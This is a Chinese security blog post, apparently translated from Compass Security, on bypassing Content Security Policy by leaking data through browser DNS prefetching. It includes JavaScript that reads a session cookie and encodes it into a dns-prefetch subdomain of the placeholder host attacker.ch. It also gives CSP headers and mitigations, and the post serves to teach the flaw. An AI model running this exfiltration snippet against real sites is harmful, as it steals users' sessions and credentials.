MENU

使用 DNS 预读取绕过Content Security Policy(CSP)

October 26, 2016 • Security

介绍

Content Security Policy(CSP)是主要的基于Web的安全机制之一,旨在降低网站的跨站点脚本(XSS)或代码注入攻击造成的风险。CSP只是一个策略,定义从何处和在哪里可以加载和获取一个东西。这防止来自外部网站的恶意代码的跨域加载。然而,CSP概念不防止数据泄露的技术。

在很多研究中指出了泄露信息和规避CSP的不同的方法。本文将重点介绍使用浏览器DNS预读取机制的数据泄露方法。关于CSP的更多信息可以访问CSP网站

浏览器DNS预读取

在Web中,浏览器是互联网的窗口,并必须尽可能快地让用户获得最佳的冲浪体验。浏览器实现的一种更高效的方法是DNS预读取,其背后的想法是将主机名预解析为IP地址并将其缓存以供将来使用。浏览器预解析在接收到的页面的内容中发现的主机名(如标签中的主机名),节省了用户数百毫秒的时间。

dns_prefetching_timeline1.png

要管理浏览器的自动DNS预读取功能,请使用X-DNS-Prefetch-Control HTTP头。

x-dns-prefetch-control: off

这个header有两个选项值:on或者off。默认情况下,如果没有设置这个header,自动DNS预读取对于HTTP获取的页面是可用的,但对于通过HTTPS获取的页面是不可用的。此外,开发人员可以告诉浏览器应该预先解析哪个主机名,这可以使用<link>标记完成。例如,<link rel =“dns-prefetch”href =“compass-security.com”>标签将导致浏览器对compass-security.com域执行DNS预读取。

利用

这个技术无疑是大大地减少了网页加载时间。但是,这个功能可以让攻击者绕过CSP政策并筛选信息(如会话Cookie或凭据)。

下面介绍一种可能存在的攻击场景:

想象一下,攻击者发现了一个存在XSS漏洞的Web应用程序,他可以注入JavaScript代码(非内联)。然而,CSP防止信息泄漏,并且攻击者不能向其外部服务器发送任何数据。策略非常严格,其设定如下:

Content-Security-Policy: default-src 'none'; script-src 'self'

定义的CSP策略只允许从网站本身加载的脚本资源。

现在,利用自动DNS预读取,现在,利用自动DNS预取,攻击者可以将他想要泄漏的信息包含在他拥有的有效DNS名称内。例如,值为“abcd1234”的会话cookie将转换为域名“abcd1234.attacker.ch”,现在可以使用以下链接标签注入到页面DOM中:

<link rel="dns-prefetch" href="//abcd1234.attacker.ch">

以下JavaScript代码将以编程方式注入上述标记:

var sessionid = document.cookie.split('=')[1]+".";

var body = document.getElementsByTagName('body')[0];

// injecting the link tag in the HTML body force the browser

// to prefetch the given domain

body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\"

  href=\"//" + sessionid + "attacker.ch\">";

在执行注入的JavaScript代码之后,浏览器开始预读取过程,并且解析域名“abcd1234.attacker.ch”。现在攻击者只需要在他的DNS服务器上记录DNS请求,以便能够读取泄漏的信息。

wireshark_result2.png

结论和解决方案

该攻击显示了当前CSP定义的不足,其没有考虑DNS预读取机制和数据泄露脆弱性。CSP的发明的主要目标不是数据泄露,而是为了防范XSS。

目前还没有针对这种使用DNS预读取作为攻击限量的防范方法。Firefox是唯一允许使用X-DNS-Prefetch-Control头禁用预读取机制的浏览器。Compass Security仍然鼓励使用CSP,如输入验证和输出编码等一直是根本上避免这个问题最好的方法。

来源与参考文献

Tags: DNS, 绕过CSP
Archives QR Code
QR Code for this page
Tipping QR Code